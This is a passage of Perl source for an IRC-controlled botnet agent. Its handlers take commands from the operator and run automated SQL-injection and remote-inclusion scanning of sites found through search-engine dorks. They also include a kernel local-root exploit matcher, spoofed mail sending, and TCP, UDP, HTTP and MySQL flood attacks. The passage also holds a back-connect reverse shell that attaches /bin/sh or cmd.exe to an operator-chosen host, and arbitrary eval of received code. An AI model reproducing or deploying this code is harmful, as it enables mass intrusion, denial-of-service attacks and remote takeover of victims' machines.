  579.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  580.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  581.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  582.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  583.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  584.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  585.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 UoL 7[".scalar(@ulist)."7] Sites");
  586.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 FireBall 7[".scalar(@flist)."7] Sites");
  587.            
  588.             push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  589.            
  590.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Filtruje4 ][ ".scalar(@tot)." 12Stron4 ] ");
  591.             my @puliti=&unici(@tot);
  592.            
  593.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ SQL ] [ 12$dork4 ][ ".scalar(@puliti)." 12Stron4 ] ");
  594.          
  595.             my $uni=scalar(@puliti);
  596.                  
  597.                   foreach my $sito (@puliti) {
  598.              
  599.                   $contatore++;
  600.                     if ($contatore %5==0){
  601.                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Skanuje4 ][ ".$contatore." 12z4 ".$uni. " 12Stron4 ] ");
  602.                     }
  603.                   sleep 3;
  604.                     if ($contatore==$uni-1){
  605.                      sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Koniec:4 $bug $dork ] ");
  606.                     }  
  607.                   sleep 3;
  608.                     my $site="http://".$sito.$bug;
  609.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  610.          
  611.          $w=int rand(999);  
  612.          $w=$w*1000;
  613.          for($i=1;$i<=$columns;$i++) {
  614.             splice(@col,0,$#col+1);
  615.             for($j=1;$j<=$i;$j++) {
  616.                push(@col,$w+$j);
  617.             }  
  618.             $tmp=join(",",@col);
  619.             $test=$site."-1+UNION+SELECT+".$tmp."/*";
  620.             print $test."\n";
  621.             $result=get_html($test);
  622.             $result =~ s/\/\*\*\///g;
  623.             $result =~ s/UNION([^(\*)]*)//g;
  624.             for($k=1;$k<=$i;$k++) {
  625.                $n=$w+$k;
  626.                   if($result =~ /$n/){
  627.                      splice(@col2,0,$#col2+1);
  628.                         for($s=1;$s<=$i;$s++) {
  629.                            push(@col2,$s);
  630.                         }
  631.                      $tmp2=join(",",@col2);
  632.                      $test2="+UNION+SELECT+".$tmp2."/*";
  633.                      push @{$dane{$test2}},$k;
  634.                   }
  635.             }
  636.          }
  637.          for $klucz (keys %dane) {
  638.             foreach $i(@{$dane{$klucz}}) {
  639.                $klucz =~ s/$i/$i/;
  640.             }
  641.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site."-1".$klucz."  ]  ");
  642.          }
  643.          %dane=();      
  644.             }
  645.       }
  646.    delproc($$);
  647.    exit;
  648.    }
  649. }
  650. #######  SQL SCANNER  #########
  651.  
  652. if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){
  653. if (my $pid = fork) {
  654. waitpid($pid, 0);
  655. } else {
  656. if (my $d=fork()) {
  657. addproc($d,"[String] $2");
  658. exit;
  659. } else {
  660.       $kto = $1;
  661.       $host = $2;
  662.       $skrypt = $3;
  663.       $czekac=$4;
  664.      
  665.       #http://ttl.ugu.pl/string/index.php
  666.       my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;
  667.       print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  668.      
  669.       my @r = <$socke>;
  670.       $page="@r";
  671.    
  672.       $page =~ s/!scan(\s+)//g;
  673.       $page =~ s/!scan(.)//g;
  674.       $page =~ s/\<.*\>//g;
  675.      
  676.       @lines = split (/\n/, $page);
  677.       $ile=scalar(@lines);
  678.            
  679.      
  680.       for($i=9;$i<=$ile;$i+=4) {
  681.  
  682.          for($j=0;$j<4;$j++) {
  683.             #print $lines[$i+$j]."\n";
  684.            
  685.             sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");
  686.            
  687.             sleep 10;
  688.          }
  689.          
  690.          sleep $czekac*60;
  691.       }
  692.  
  693.    }
  694.       delproc($$);
  695.       exit;
  696.    }
  697. }
  698.  
  699.  
  700.  
  701.  
  702.  
  703. #######  SQL SCANNER  #########
  704.  
  705. if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){
  706.    if (my $pid = fork()) {
  707.       waitpid($pid, 0);
  708.    } else {
  709.       if (my $d=fork()) {
  710.          addproc($d,"[SQL1] $1 $2");
  711.          exit;
  712.       } else {
  713.          my $site=$1;
  714.          my $columns=$2;
  715.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  716.          
  717.          $w=int rand(999);  
  718.          $w=$w*1000;
  719.          for($i=1;$i<=$columns;$i++) {
  720.             splice(@col,0,$#col+1);
  721.             for($j=1;$j<=$i;$j++) {
  722.                push(@col,$w+$j);
  723.             }  
  724.             $tmp=join(",",@col);
  725.             $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";
  726.                         #$result=query($test);
  727.             $result=get_html($test);
  728.    
  729.             $result =~ s/\/\*\*\///g;
  730.             $result =~ s/UNION([^(\*)]*)//g;
  731.             for($k=1;$k<=$i;$k++) {
  732.                $n=$w+$k;
  733.                   if($result =~ /$n/){
  734.                      splice(@col2,0,$#col2+1);
  735.                         for($s=1;$s<=$i;$s++) {
  736.                            push(@col2,$s);
  737.                         }
  738.                      $tmp2=join(",",@col2);
  739.                      $test2="+UNION+SELECT+".$tmp2."/*";
  740.                      push @{$dane{$test2}},$k;
  741.                   }
  742.             }
  743.          }
  744.          for $klucz (keys %dane) {
  745.             foreach $i(@{$dane{$klucz}}) {
  746.                $klucz =~ s/$i/$i/;
  747.             }
  748.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site.$bug."-1".$klucz."  ]  ");
  749.          }
  750.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] ");      
  751.       }
  752.    delproc($$);
  753.    exit;
  754.    }
  755. }
  756. #######  SQL SCANNER  #########
  757. ######################
  758. #        Rootable                                     #
  759. ######################
  760. if ($funcarg =~ /^rootable/) {
  761. my $khost = `uname -r`;
  762. my $currentid = `whoami`;
  763. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Currently you are ".$currentid." ");
  764. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] The kernel of this box is ".$khost." ");
  765. chomp($khost);
  766.  
  767.    my %h;
  768.    $h{'w00t'} = {
  769.       vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']
  770.    };
  771.    
  772.    $h{'brk'} = {
  773.       vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']
  774.    };
  775.    
  776.    $h{'ave'} = {
  777.       vuln=>['2.4.19','2.4.20']
  778.    };
  779.    
  780.    $h{'elflbl'} = {
  781.       vuln=>['2.4.29']
  782.    };
  783.    
  784.    $h{'elfdump'} = {
  785.       vuln=>['2.4.27']
  786.    };
  787.    
  788.    $h{'expand_stack'} = {
  789.       vuln=>['2.4.29']
  790.    };
  791.    
  792.    $h{'h00lyshit'} = {
  793.       vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  794.    };
  795.    
  796.    $h{'kdump'} = {
  797.       vuln=>['2.6.13']
  798.    };
  799.    
  800.    $h{'km2'} = {
  801.       vuln=>['2.4.18','2.4.22']
  802.    };
  803.    
  804.    $h{'krad'} = {
  805.       vuln=>['2.6.11']
  806.    };
  807.    
  808.    $h{'krad3'} = {
  809.       vuln=>['2.6.11','2.6.9']
  810.    };
  811.    
  812.    $h{'local26'} = {
  813.       vuln=>['2.6.13']
  814.    };
  815.    
  816.    $h{'loko'} = {
  817.       vuln=>['2.4.22','2.4.23','2.4.24']
  818.    };
  819.    
  820.    $h{'mremap_pte'} = {
  821.       vuln=>['2.4.20','2.2.25','2.4.24']
  822.    };
  823.    
  824.    $h{'newlocal'} = {
  825.       vuln=>['2.4.17','2.4.19','2.4.18']
  826.    };
  827.    
  828.    $h{'ong_bak'} = {
  829.       vuln=>['2.4.','2.6.']
  830.    };
  831.    
  832.    $h{'ptrace'} = {
  833.       vuln=>['2.2.','2.4.22']
  834.    };
  835.    
  836.    $h{'ptrace_kmod'} = {
  837.       vuln=>['2.4.2']
  838.    };
  839.    
  840.    $h{'ptrace24'} = {
  841.       vuln=>['2.4.9']
  842.    };
  843.    
  844.    $h{'pwned'} = {
  845.       vuln=>['2.4.','2.6.']
  846.    };
  847.    
  848.    $h{'py2'} = {
  849.       vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']
  850.    };
  851.    
  852.    $h{'raptor_prctl'} = {
  853.       vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']
  854.    };
  855.    
  856.    $h{'prctl3'} = {
  857.       vuln=>['2.6.13','2.6.17','2.6.9']
  858.    };
  859.    
  860.    $h{'remap'} = {
  861.       vuln=>['2.4.']
  862.    };
  863.    
  864.    $h{'rip'} = {
  865.       vuln=>['2.2.']
  866.    };
  867.    
  868.    $h{'stackgrow2'} = {
  869.       vuln=>['2.4.29','2.6.10']
  870.    };
  871.    
  872.    $h{'uselib24'} = {
  873.       vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']
  874.    };
  875.    
  876.    $h{'newsmp'} = {
  877.       vuln=>['2.6.']
  878.    };
  879.    
  880.    $h{'smpracer'} = {
  881.       vuln=>['2.4.29']
  882.    };
  883.    
  884.    $h{'loginx'} = {
  885.       vuln=>['2.4.22']
  886.    };
  887.    
  888.    $h{'exp.sh'} = {
  889.       vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']
  890.    };
  891.    
  892.    $h{'prctl'} = {
  893.       vuln=>['2.6.']
  894.    };
  895.    
  896.    $h{'kmdx'} = {
  897.       vuln=>['2.6.','2.4.']
  898.    };
  899.    
  900.    $h{'raptor'} = {
  901.       vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  902.    };
  903.    
  904.    $h{'raptor2'} = {
  905.       vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  906.    };
  907.    
  908. foreach my $key(keys %h){
  909. foreach my $kernel ( @{ $h{$key}{'vuln'} } ){
  910.    if($khost=~/^$kernel/){
  911.    chop($kernel) if ($kernel=~/.$/);
  912.    sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Possible Local Root Exploits: ". $key ." ");
  913.       }
  914.    }
  915. }
  916. }
  917. ######################
  918. #       MAILER       #
  919. ######################
  920. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  921. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12]  Mailer :. |  Sending Mail to : 2 $3");
  922. $subject = $1;
  923. $sender = $2;
  924. $recipient = $3;
  925. @corpo = $4;
  926. $mailtype = "content-type: text/html";
  927. $sendmail = '/usr/sbin/sendmail';
  928. open (SENDMAIL, "| $sendmail -t");
  929. print SENDMAIL "$mailtype\n";
  930. print SENDMAIL "Subject: $subject\n";
  931. print SENDMAIL "From: $sender\n";
  932. print SENDMAIL "To: $recipient\n\n";
  933. print SENDMAIL "@corpo\n\n";
  934. close (SENDMAIL);
  935. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12]   Mailer :. |  Mail Sent To : 2 $recipient");
  936. }
  937. ######################
  938. #   End of MAILER    #
  939. ######################
  940. # A /tmp cleaner
  941. if ($funcarg =~ /^cleartmp/) {
  942.     system 'cd /tmp;rm -rf *';
  943.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  944.          }
  945. #-#-#-#-#-#-#-#-#
  946. # Flooders IRC  #
  947. #-#-#-#-#-#-#-#-#        
  948. # msg, @msgflood <who>
  949. if ($funcarg =~ /^msgflood (.+?) (.*)/) {
  950.    for($i=0; $i<=10; $i+=1){
  951.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);
  952.    }
  953.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3MSGFlood12]14 Excecuted on ".$1." ");
  954. }
  955.          
  956. # dccflood, @dccflood <who>
  957. if ($funcarg =~ /^dccflood (.*)/) {
  958.    for($i=0; $i<=10; $i+=1){
  959.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");
  960.    }
  961.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3DCCFlood12]14 Excecuted on ".$1." ");
  962. }      
  963. # ctcpflood, @ctcpflood <who>
  964. if ($funcarg =~ /^ctcpflood (.*)/) {
  965.    for($i=0; $i<=10; $i+=1){
  966.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  967.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  968.    }
  969.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3CTCPFlood12]14 Excecuted on ".$1." ");
  970. }      
  971. # noticeflood, @noticeflood <who>
  972.    if ($funcarg =~ /^noticeflood (.*)/) {
  973.       for($i=0; $i<=10; $i+=1){
  974.          sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n");
  975.    }
  976.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3NoticeFlood12]14 Excecuted on ".$1." ");
  977. }      
  978. # Channel Flood, @channelflood
  979. if ($funcarg =~ /^channelflood/) {
  980.    for($i=0; $i<=25; $i+=1){
  981.       sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );
  982.    }
  983.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3ChannelFlood12]14 Excecuted ");
  984. }
  985. # Maxi Flood, @maxiflood
  986. if ($funcarg =~ /^maxiflood(.*)/) {
  987.    for($i=0; $i<=15; $i+=1){
  988.          sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFl00D\n");
  989.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  990.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  991.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :w3tFl00D\n");        
  992.    }
  993.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3M4Xi-Fl00d12]14 Excecuted on ".$1." ");
  994. }
  995. ######################
  996. #  irc    #
  997. ######################
  998.          if ($funcarg =~ /^reset/) {
  999.             sendraw($IRC_cur_socket, "QUIT :");
  1000.          }
  1001.          if ($funcarg =~ /^join (.*)/) {
  1002.             sendraw($IRC_cur_socket, "JOIN ".$1);
  1003.          }
  1004.          if ($funcarg =~ /^part (.*)/) {
  1005.             sendraw($IRC_cur_socket, "PART ".$1);
  1006.          }
  1007.          if ($funcarg =~ /^voice (.*)/) {
  1008.             sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  1009.            }
  1010.          if ($funcarg =~ /^devoice (.*)/) {
  1011.             sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  1012.            }
  1013.          if ($funcarg =~ /^halfop (.*)/) {
  1014.             sendraw($IRC_cur_socket, "MODE $printl +h ".$1);
  1015.            }
  1016.          if ($funcarg =~ /^dehalfop (.*)/) {
  1017.             sendraw($IRC_cur_socket, "MODE $printl -h ".$1);
  1018.            }
  1019.          if ($funcarg =~ /^owner (.*)/) {
  1020.             sendraw($IRC_cur_socket, "MODE $printl +q ".$1);
  1021.            }
  1022.          if ($funcarg =~ /^deowner (.*)/) {
  1023.             sendraw($IRC_cur_socket, "MODE $printl -q ".$1);
  1024.          }
  1025.          if ($funcarg =~ /^op (.*)/) {
  1026.             sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  1027.            }        
  1028.          if ($funcarg =~ /^deop (.*)/) {
  1029.             sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  1030.            }
  1031. ######################
  1032. #End of Join And Part#
  1033. ######################
  1034. ######################
  1035. #     TCPFlood       #
  1036. ######################
  1037.  
  1038.          if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1039.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TCP-DDOS12] Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
  1040.             my $itime = time;
  1041.             my ($cur_time);
  1042.             $cur_time = time - $itime;
  1043.             while ($3>$cur_time){
  1044.                $cur_time = time - $itime;
  1045.                &tcpflooder("$1","$2","$3");
  1046.             }
  1047.             sendraw($IRC_cur_socket,"PRIVMSG $printl :12[4@3TCP-DDOS12] Attack done 4 ".$1.":".$2.".");
  1048.          }
  1049. ######################
  1050. #  End of TCPFlood   #
  1051. ######################
  1052. ######################
  1053. #               SQL Fl00dEr                     #
  1054. ######################
  1055. if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
  1056. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");
  1057. my $itime = time;
  1058. my ($cur_time);
  1059. $cur_time = time - $itime;
  1060. while ($2>$cur_time){
  1061. $cur_time = time - $itime;
  1062.    my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
  1063.    print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1064. close($socket);
  1065. }
  1066. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking done 4 ".$1.".");
  1067. }
  1068. ######################
  1069. #   Back Connect     #
  1070.  
  1071. ######################
  1072.          if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  1073.             my $host = "$1";
  1074.             my $porta = "$2";
  1075.             my $proto = getprotobyname('tcp');
  1076.             my $iaddr = inet_aton($host);
  1077.             my $paddr = sockaddr_in($porta, $iaddr);
  1078.             my $shell = "/bin/sh -i";
  1079.             if ($^O eq "MSWin32") {
  1080.                $shell = "cmd.exe";
  1081.             }
  1082.             socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  1083.             connect(SOCKET, $paddr) or die "connect: $!";
  1084.             open(STDIN, ">&SOCKET");
  1085.             open(STDOUT, ">&SOCKET");
  1086.             open(STDERR, ">&SOCKET");
  1087.             system("$shell");
  1088.             close(STDIN);
  1089.             close(STDOUT);
  1090.             close(STDERR);
  1091.             if ($estatisticas){
  1092.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12] Connecting to 4 $host:$porta");
  1093.             }
  1094.          }
  1095. ######################
  1096. #End of  Back Connect#
  1097. ######################
  1098. ######################
  1099. #    MULTI SCANNER   #
  1100. ######################
  1101. if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
  1102. if (my $pid = fork) {
  1103. waitpid($pid, 0);
  1104. } else {
  1105. if (fork) {
  1106. exit;
  1107. } else {
  1108. my $bug=$1;
  1109. my $dork=$2;
  1110. my $contatore=0;
  1111.                   my ($type,$space);
  1112.                   my %hosts;
  1113.                   ### Start Message
  1114.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Starting Scan for 4$bug $dork");
  1115.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Initializing on 45 12Search Engines ");
  1116.                   ### End of Start Message
  1117. # Starting Google
  1118.    my @glist=&google($dork);
  1119. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1120.    my @mlist=&msn($dork);
  1121.    my @asklist=&ask($dork);
  1122.    my @allist=&alltheweb($dork);
  1123.    my @aollist=&aol($dork);
  1124.    my @lycos=&lycos($dork);
  1125.    my @ylist=&yahoo($dork);
  1126.    my @mzlist=&mozbot($dork);
  1127.    my @mamalist&mamma($dork);
  1128.    my @hlist=&hotbot($dork);
  1129.    my @altlist=&altavista($dork);
  1130.    my @slist=&search($dork);
  1131.    my @ulist=&uol($dork);
  1132.    my @fireball=&fireball($dork);
  1133. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1134. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MSN 7[".scalar(@mlist)."7] Sites");
  1135. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  1136. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  1137. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AOL 7[".scalar(@aollist)."7] Sites");
  1138. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  1139. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  1140. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  1141. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  1142. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  1143. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  1144. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  1145. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 UoL 7[".scalar(@ulist)."7] Sites");
  1146. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 FireBall 7[".scalar(@flist)."7] Sites");
  1147. #
  1148. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  1149. my @puliti=&unici(@tot);
  1150. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Results: Total:7[".scalar(@tot)."7] Sites and Cleaned: 7[".scalar(@puliti)."7] for $dork ");
  1151. my $uni=scalar(@puliti);
  1152. foreach my $sito (@puliti)
  1153. {
  1154. $contatore++;
  1155. if ($contatore %100==0){
  1156. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Exploiting  7[".$contatore."7]  of  7[".$uni. "7] Sites");
  1157. }
  1158. if ($contatore==$uni-1){
  1159. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Finished for  $dork");
  1160. }
  1161. ### Print CMD and TEST CMD###
  1162. my $test="http://".$sito.$bug.$id."?";
  1163. my $print="http://".$sito.$bug.$cmd."?";
  1164. ### End of Print CMD and TEST CMD###
  1165. my $req=HTTP::Request->new(GET=>$test);
  1166. my $ua=LWP::UserAgent->new();
  1167. $ua->timeout(4);
  1168. my $response=$ua->request($req);
  1169. if ($response->is_success) {
  1170. my $re=$response->content;
  1171. if($re =~ /Mic22/ && $re =~ /uid=/){
  1172. my $hs=geths($print); $hosts{$hs}++;
  1173. if($hosts{$hs}=="1"){
  1174. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Safe Mode = OFF :. | Vuln:  $print ");
  1175. }}
  1176. elsif($re =~ /Mic22/)
  1177. {
  1178. my $hs=geths($print); $hosts{$hs}++;
  1179. if($hosts{$hs}=="1"){
  1180. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Safe Mode =  ON :. | Vuln:  $print  ");
  1181. }}
  1182. }}}
  1183. exit;
  1184. }}}
  1185. ######################
  1186. #End of MultiSCANNER #
  1187. ######################
  1188. ######################
  1189. #     HTTPFlood      #
  1190. ######################
  1191.          if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1192.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  1193.             my $itime = time;
  1194.             my ($cur_time);
  1195.             $cur_time = time - $itime;
  1196.             while ($2>$cur_time){
  1197.                $cur_time = time - $itime;
  1198.                my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1199.                print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1200.                close($socket);
  1201.             }
  1202.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking done 4 ".$1.".");
  1203.          }
  1204. ######################
  1205. #  End of HTTPFlood  #
  1206. ######################
  1207. ######################
  1208. #     UDPFlood       #
  1209. ######################
  1210.          if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1211.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3UDP DDoS12:.4|12 Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
  1212.             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1213.             $dtime = 1 if $dtime == 0;
  1214.             my %bytes;
  1215.             $bytes{igmp} = $2 * $pacotes{igmp};
  1216.             $bytes{icmp} = $2 * $pacotes{icmp};
  1217.             $bytes{o} = $2 * $pacotes{o};
  1218.             $bytes{udp} = $2 * $pacotes{udp};
  1219.             $bytes{tcp} = $2 * $pacotes{tcp};
  1220.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3UDP-DDos12]12 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
  1221.          }
  1222. ######################
  1223. #  End of Udpflood   #
  1224. ######################
  1225.          exit;
  1226.       }
  1227.    }
  1228.  
  1229. sub ircase {
  1230.    my ($kem, $printl, $case) = @_;
  1231.    if ($case =~ /^join (.*)/) {
  1232.       j("$1");
  1233.    }
  1234.    if ($case =~ /^part (.*)/) {
  1235.       p("$1");
  1236.    }
  1237.    if ($case =~ /^rejoin\s+(.*)/) {
  1238.       my $chan = $1;
  1239.       if ($chan =~ /^(\d+) (.*)/) {
  1240.          for (my $ca = 1; $ca <= $1; $ca++ ) {
  1241.             p("$2");
  1242.             j("$2");
  1243.          }
  1244.       } else {
  1245.          p("$chan");
  1246.          j("$chan");
  1247.       }
  1248.    }
  1249.  
  1250.    if ($case =~ /^op/) {
  1251.       op("$printl", "$kem") if $case eq "op";
  1252.       my $oarg = substr($case, 3);
  1253.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1254.    }
  1255.  
  1256.    if ($case =~ /^deop/) {
  1257.       deop("$printl", "$kem") if $case eq "deop";
  1258.       my $oarg = substr($case, 5);
  1259.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1260.    }
  1261.  
  1262.    if ($case =~ /^msg\s+(\S+) (.*)/) {
  1263.       msg("$1", "$2");
  1264.    }
  1265.  
  1266.    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1267.       for (my $cf = 1; $cf <= $1; $cf++) {
  1268.          msg("$2", "$3");
  1269.       }
  1270.    }
  1271.  
  1272.    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1273.       ctcp("$1", "$2");
  1274.    }
  1275.  
  1276.    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1277.       for (my $cf = 1; $cf <= $1; $cf++) {
  1278.          ctcp("$2", "$3");
  1279.       }
  1280.    }
  1281.  
  1282.    if ($case =~ /^nick (.*)/) {
  1283.       nick("$1");
  1284.    }
  1285.  
  1286.    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1287.       conectar("$2", "$1", 6667);
  1288.    }
  1289.  
  1290.    if ($case =~ /^raw (.*)/) {
  1291.       sendraw("$1");
  1292.    }
  1293.  
  1294.    if ($case =~ /^eval (.*)/) {
  1295.       eval "$1";
  1296.    }
  1297. }
  1298.  
